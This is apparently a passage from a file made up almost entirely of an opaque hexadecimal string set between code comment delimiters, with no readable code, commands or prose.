1dfc09f0b97cb828f26285a5f65301a36ea573ab50e64be85e2bda454d8775269ce5f66c551a5a50ec1abf209d92dea64fb966efd17df38ae5a941916397257610dcdf7a0e5d7bebf870878b70c4bd5fde64b8679d7b54b4097149bda511d8ca9e9bc6a2e816583aaa124943884f8780ab9ebf85da93714f17c565b90f280f5f0919b94a55296a88e6bdebba47169e5f76c3724abdc737ea98d0a4740c330ca394a3dfbb2d8aa7a0dbc0afbf15859246758144f1cc80f1f3b02199af774cf8d680ba994678e59cef4663e5bebdd3fd3aac0868d7d872352a66c040f84d567735fb04821e8a15c44a2afa63280fd77b35c42519dfc1fa3453d3e604ae6243ac836aa178ac0c428924c8dee0fb5a1bea152d45e5b9a0a6259aff7f7a5c84098818318226df247836dd18e2bc6414a4fd356d265e533882cdce13eda8f1fec9429b2bff994368d766f914cfac3966f47cfc7c837dec45be817dd485fe9bf09adcdc8238fb87b610b4c140b4ff102514704b3a4b83927c690b41895d23184d23e648ef36b13146c968e9ff3d3bb7c756b4ef6ebe3f037b7ac6237ad4c6984534bfe26687357dbdf3648198a5d0699b918dd435a5d61e77afef3b6cce312a4b0d9803ea083688953bd82a79aab5577003a18318ce04ae30132b3f0f4e20cf73e86e7ece8cc885ee9460afefbcb1a6ec6b306f3826e412d602f285834ecb0f0a548f386ae0217e57b1c5963c459d492bba9a768fe5cb0654bf6961ae01c75f418c042083dda30da3988f34700ff9e270f01bd3fd46e615a0a75381ddf562803e3d8fae*/
/*84e30cf31afc483eb13197018625cb4412bf75001d62bf5e66dd8fe85d8cf176186a3bb3f1cd65e96440b0a596b0cb54f351ca4d0e215b481b67b1ae24d80ff7bc2dcc732ab7487e4854df5db1b586e9e2ccad57cd89054a946c523b533706ddd336c122beedd591a3e2d4d71d8ec5e8c773e787067d62ef06c0712f0c8026e901180857e2ddfaa5824e14a6ffb647e905bde3caef5d44f7b1aeaf3db2f32e0cdc4dc916678ac4c2e4b5ce3e29e9848d17062544ba2cde64594e921a74f9e9721914e68bf729061f2f137074d6a454506020770a9126578769c7657faa6e2c07b149ed6fef